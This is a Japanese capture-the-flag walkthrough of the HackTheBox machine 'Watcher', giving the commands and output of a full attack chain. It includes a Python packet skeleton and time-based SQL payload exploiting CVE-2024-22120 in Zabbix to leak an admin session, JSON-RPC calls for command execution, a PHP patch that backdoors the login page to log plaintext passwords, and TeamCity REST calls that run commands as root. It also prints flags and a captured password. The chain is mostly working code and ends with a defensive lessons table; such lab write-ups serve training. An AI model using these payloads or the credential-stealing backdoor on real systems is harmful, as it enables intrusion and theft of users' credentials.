HackTheBox: Watcher — 全実行コマンド・実行結果レポート
Nmap スキャン
Zabbix agent/trapper (10050/10051)
→
Zabbix agent/trapper (10050/10051)
zabbix.watcher.vl発見
ffufサブドメイン列挙
→
ffufサブドメイン列挙
guestログイン
sessionid窃取
→
sessionid窃取
CVE-2024-22120
trapperプロトコル blind SQLi
→
trapperプロトコル blind SQLi
Admin sessionid リーク
1クエリ数値エンコーディング
→
1クエリ数値エンコーディング
Zabbix Script RCE
script.create/execute → user.txt
→
script.create/execute → user.txt
index.php バックドア
Frank自動ログイン資格情報窃取
→
Frank自動ログイン資格情報窃取
TeamCity ビルドRCE
root権限ビルドエージェント → root.txt ✓
root権限ビルドエージェント → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.163 nmap -Pn -sV -sC -p 22,80,10050,10051 10.129.234.163
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http Apache httpd 2.4.52 |_http-title: Watcher 10050/tcp open zabbix-agent 10051/tcp open zabbix-trapper
BASH
echo "10.129.234.163 watcher.vl" | sudo tee -a /etc/hosts
サブドメイン列挙
BASH
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://watcher.vl/ -H "Host: FUZZ.watcher.vl" -fs <baseline_size>
RESULT
zabbix [Status: 200]
BASH
echo "10.129.234.163 zabbix.watcher.vl" | sudo tee -a /etc/hosts
ℹ️
zabbix.watcher.vlにZabbixのログイン画面が存在。フッターに
バージョン表示があり 7.0.0alpha1 と確認できる。
PHASE 2
Zabbix guest ログインで sessionid を取得
guest ログイン(既定で有効)
BASH
curl -s -i -X POST http://zabbix.watcher.vl/index.php \ --data "name=guest&password=&autologin=1&enter=Sign+in"
RESULT
Set-Cookie: zbx_session=<URLエンコード>; ...
ℹ️
zbx_session Cookieの値をURLデコード→base64デコードすると
{"sessionid":"...", "sign":"..."} というJSONが得られ、
guest自身のsessionidが平文で判明する。
RESULT
guest sessionid = 64e26c81252c97b62ca72e760cd28a51
PHASE 3
CVE-2024-22120 blind SQLi で管理者セッションをリーク → RCE
脆弱性の背景
NOTE
Zabbix trapperプロトコル(TCP 10051)にはAudit Log書き込み処理があり、 "clientip"フィールドの値がサニタイズ不十分なままSQLクエリに 組み込まれる(CVE-2024-22120)。guestのsessionidさえあれば、 未認証に近い立場から time-based blind SQLi を発火できる。
PYTHON (trapperパケット送信の骨格)
import socket, json, struct
message = {
"request": "command", "sid": guest_sid, "scriptid": "2",
"clientip": "1' + " + injection_sql + " + '1",
"hostid": hostid,
}
body = json.dumps(message).encode()
packet = b"ZBXD\x01" + struct.pack("<q", len(body)) + body
sock = socket.create_connection((target, 10051), timeout=15)
sock.sendall(packet)
sock.recv(1024)
sock.close()
最大の障壁: Admin セッションが極めて短命(0.7〜0.9秒)
NOTE
userid=1(Admin、Super Adminロール)のセッションはsessionsテーブルに 極めて短時間(0.7〜0.9秒)しか存在せず、しかも出現間隔が3〜107秒と 不規則。通常の逐次二分探索(32文字×4クエリ)は全く間に合わない。 最終的に到達した解決策は「16進数字1文字を0〜15のインデックスに変換し sleep(index*0.4秒)を実行させる数値エンコーディング方式」(二分探索の 4リクエストが1リクエストに減る)。sleep()はサブクエリで対象文字を 読み取った"後"に実行されるため、行が読み取られた瞬間さえセッションが 存在すればよく、その後セッションが消えても結果には影響しない。 さらに、セッション有無の確認と文字抽出を1クエリに完全統合した 自己検証型にすることで、2クエリに分割した場合に生じる 「確認→抽出の間にセッションが閉じる」問題を解消した:
SQL (1クエリ1文字確定・自己検証型)
SELECT sleep(
IF(
(SELECT count(*) FROM sessions WHERE userid=1) > 0,
<index> * 0.4, -- セッションが存在すればインデックス値だけスリープ
10 -- 存在しなければ明確に外れた10秒スリープ
)
)
⚠️
クライアント側は8秒(=10-2)でタイムアウトさせ、応答が返らなければ
「セッションが存在しない無効な試行」として同じ文字位置を
再試行する。既知データ(guest自身のsessionid)に対し100%正解を
確認済み。
Admin sessionid のリーク実行
RESULT (実行ログ抜粋)
タイミング較正完了 baseline=0.72s increment=0.78s (jitter=0.31s)
Super Admin userid 特定 → 1
sessionid 文字 26/32 取得 → 0 (1/32)
sessionid 文字 2/32 取得 → 2 (2/32)
...(32文字全て取得)...
32文字抽出完了 (試行1, 所要195秒) → 有効性を検証中...
管理者 sessionid リーク成功 → e29cc8d946f1a3135fe7ceec60d0ff0d
✅
1回目の試行で32文字すべて正しく抽出し、検証(有効なAPIセッション
として認証が通るか確認)にも成功した。数値エンコーディング方式に
より所要時間はわずか195秒だった。
Zabbix Script 機能で RCE → user.txt
JSON-RPC (script.create)
POST /api_jsonrpc.php
{"jsonrpc":"2.0","method":"script.create",
"params":{"name":"<random>","command":"whoami",
"type":0,"execute_on":2,"scope":2},
"auth":"e29cc8d946f1a3135fe7ceec60d0ff0d","id":0}
JSON-RPC (script.update + script.execute)
{"jsonrpc":"2.0","method":"script.update",
"params":{"scriptid":"<id>","command":"cat /user.txt"}, ...}
{"jsonrpc":"2.0","method":"script.execute",
"params":{"scriptid":"<id>","hostid":"10084"}, ...}
RESULT
whoami → zabbix
cat /user.txt → 380b4ab4ba51812267f92b1a3dc131f3
user.txt — zabbix (Zabbix Script RCE)
380b4ab4ba51812267f92b1a3dc131f3
🚨
重要な落とし穴: zabbixシステムユーザは常時
nologinシェルでブロックされており、
ssh zabbix@target "cmd"のようなSSH execコマンドは
毎回 "This account is currently not available." で
即座に拒否される。SSHに頼らず、確立済みのZabbix Script RCE
だけで全て完結させる必要がある。
PHASE 4
index.php バックドア化 → TeamCity ビルドRCE → root.txt
index.php のログイン処理をバックドア化
NOTE
zabbixユーザはWebアプリ本体(/usr/share/zabbix/)の所有者。
ログイン成功直後に呼ばれる CSessionHelper::set('sessionid', ...) の
直後に、POSTされたname/passwordを平文でファイルに追記するコードを
挿入する。これにより、誰かがこの画面から実際にログインした瞬間に
その資格情報が窃取できる。
PHP (RCE経由でindex.phpへ注入するパッチスクリプトの骨格)
<?php
if (strpos(file_get_contents('index.php'), 'kcr_backdoor_marker') === false) {
$c = file_get_contents('index.php');
$needle = "CSessionHelper::set('sessionid', CWebUser::\$data['sessionid']);";
$inject = $needle . " /* kcr_backdoor_marker */ "
. "@file_put_contents('/usr/share/zabbix/kcr_creds.txt', "
. "'Username: ' . \$_POST['name'] . ' | Password: ' . \$_POST['password'] . \"\n\", "
. "FILE_APPEND);";
$c = str_replace($needle, $inject, $c);
file_put_contents('index.php', $c);
}
BASH (Zabbix Script RCE経由で実行、base64でシェル安全に受け渡し)
cd /usr/share/zabbix && \ echo <base64_patch_php> | base64 -d > /tmp/kcr_patch.php && \ php /tmp/kcr_patch.php && \ grep -c 'kcr_backdoor_marker' index.php
RESULT
1 ← バックドアが正しく1箇所注入されたことを確認
自動ログインするFrankユーザの資格情報を待機
BASH (Zabbix Script RCE経由でポーリング)
cat /usr/share/zabbix/kcr_creds.txt 2>/dev/null
RESULT
Username: Frank | Password: R%)3S7^Hf4TBobb(gVVs
ℹ️
Frankは自動化された定期タスクとして数分おきにこの画面へ
ログインを試みており、しばらく待つと資格情報が
kcr_creds.txtに記録される。
TeamCity(ローカル限定)へRCE経由でREST API操作
NOTE
TeamCity(127.0.0.1:8111)はtarget自身からしか到達できない。 zabbixがSSHで使えないためローカルポートフォワードも不可 → Zabbix Script RCE経由でtarget自身からcurlを実行しREST APIを叩く。 Frankの資格情報はこのTeamCityの管理者アカウントとしても機能する。
BASH (すべてZabbix Script RCE経由、target側で実行)
# プロジェクト作成
curl -s -X POST -u 'Frank:R%)3S7^Hf4TBobb(gVVs' \
-H 'Content-Type: application/json' -H 'Accept: application/json' \
-d '{"name":"KcrProj...","id":"KcrProj...","parentProject":{"locator":"id:_Root"}}' \
'http://127.0.0.1:8111/httpAuth/app/rest/projects'
# ビルド設定作成
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
-d '{"name":"KcrBuild","id":"KcrProj..._Build","project":{"id":"KcrProj..."}}' \
'http://127.0.0.1:8111/httpAuth/app/rest/buildTypes'
# コマンドラインビルドステップ (root.txt を cat するだけ)
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
-d '{"name":"kcr_step","type":"simpleRunner","properties":{"property":[
{"name":"script.content","value":"cat /root/root.txt"},
{"name":"teamcity.step.mode","value":"default"},
{"name":"use.custom.script","value":"true"}]}}' \
'http://127.0.0.1:8111/httpAuth/app/rest/buildTypes/id:KcrProj..._Build/steps'
# ビルドをトリガー
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
-d '{"buildType":{"id":"KcrProj..._Build"}}' \
'http://127.0.0.1:8111/httpAuth/app/rest/buildQueue'
✅
TeamCityのビルドエージェントはroot権限で稼働
しているため、コマンドラインステップの内容(
cat
/root/root.txt)がroot権限で実行され、その出力が
ビルドログにそのまま記録される。
ビルドログから root.txt を取得
BASH
curl -s -u 'Frank:R%)3S7^Hf4TBobb(gVVs' \ 'http://127.0.0.1:8111/httpAuth/downloadBuildLog.html?buildId=101'
RESULT (ビルドログ抜粋)
[Step 1/1] Command Line
[Step 1/1] cat /root/root.txt
[Step 1/1] f7af28f2757b85cb3bcf98b58c6519a3
[Step 1/1] Process exited with code 0
root.txt — root (TeamCity Build Agent)
f7af28f2757b85cb3bcf98b58c6519a3
✅
対話シェル/リバースシェル無しに、ビルドログ経由で直接root.txtの
内容を取得できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — zabbix
380b4ab4ba51812267f92b1a3dc131f3
root.txt — root
f7af28f2757b85cb3bcf98b58c6519a3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2024-22120 | Zabbix 7.0.0alpha1 Audit Log clientip | 未認証に近い立場からのtime-based blind SQLi | Critical | trapperプロトコル(TCP 10051)のclientipフィールド経由でSQLインジェクション、管理者sessionidをリーク |
| Zabbix Script機能の悪用 | Zabbix Server (hostid=10084) | zabbixユーザとしての任意コマンド実行 | High | リークしたSuper Admin sessionidでscript.create/execute APIを呼びRCE |
| Webアプリソース改ざん(バックドア) | /usr/share/zabbix/index.php | 他ユーザの平文資格情報窃取 | High | zabbixユーザがWebroot全体の所有者であることを悪用しログイン処理にファイル書き込みコードを注入 |
| TeamCityビルドパイプラインRCE | ローカルTeamCity (127.0.0.1:8111)、rootで稼働するビルドエージェント | root権限でのコマンド実行 | High | REST APIでコマンドラインビルドステップを作成しビルドを実行、ビルドログから直接root.txtを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + ffufサブドメイン列挙 | zabbix.watcher.vl発見 |
| 2 | 初期アクセス | Zabbix guestログイン | guest sessionid |
| 3 | blind SQLi | CVE-2024-22120(数値エンコーディング1クエリ抽出) | Admin sessionid → RCE → user.txt |
| 4 | 権限昇格 | index.phpバックドア + TeamCityビルドRCE | Frank資格情報 → root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Zabbix trapperプロトコルのclientipフィールドが未サニタイズのままSQLクエリに使われる(CVE-2024-22120) | Zabbixを修正済みバージョンへ迅速にアップデートする。trapperポート(10051)への到達性を信頼できるネットワークのみに制限する。 |
| guestアカウントが既定で有効なまま運用されている | 本番環境ではguestログインを無効化し、認証必須にする。 |
| Zabbix Script機能が強力すぎ、Super Admin権限があれば事実上任意のOSコマンドを実行できる | Script機能の使用を必要最小限のロールに限定し、実行内容を監査ログで厳格に追跡する。 |
| アプリケーションのWeb rootがサービスアカウント所有で書き込み可能なため、RCE獲得後にソースコード自体を改ざんできる | Webアプリのソースファイルを読み取り専用でマウントし、実行ユーザーとファイル所有者を分離する。 |
| TeamCityのビルドエージェントがroot権限で稼働している | ビルドエージェントは非特権ユーザーで稼働させ、必要な権限のみをsudo許可リスト等で個別付与する。 |

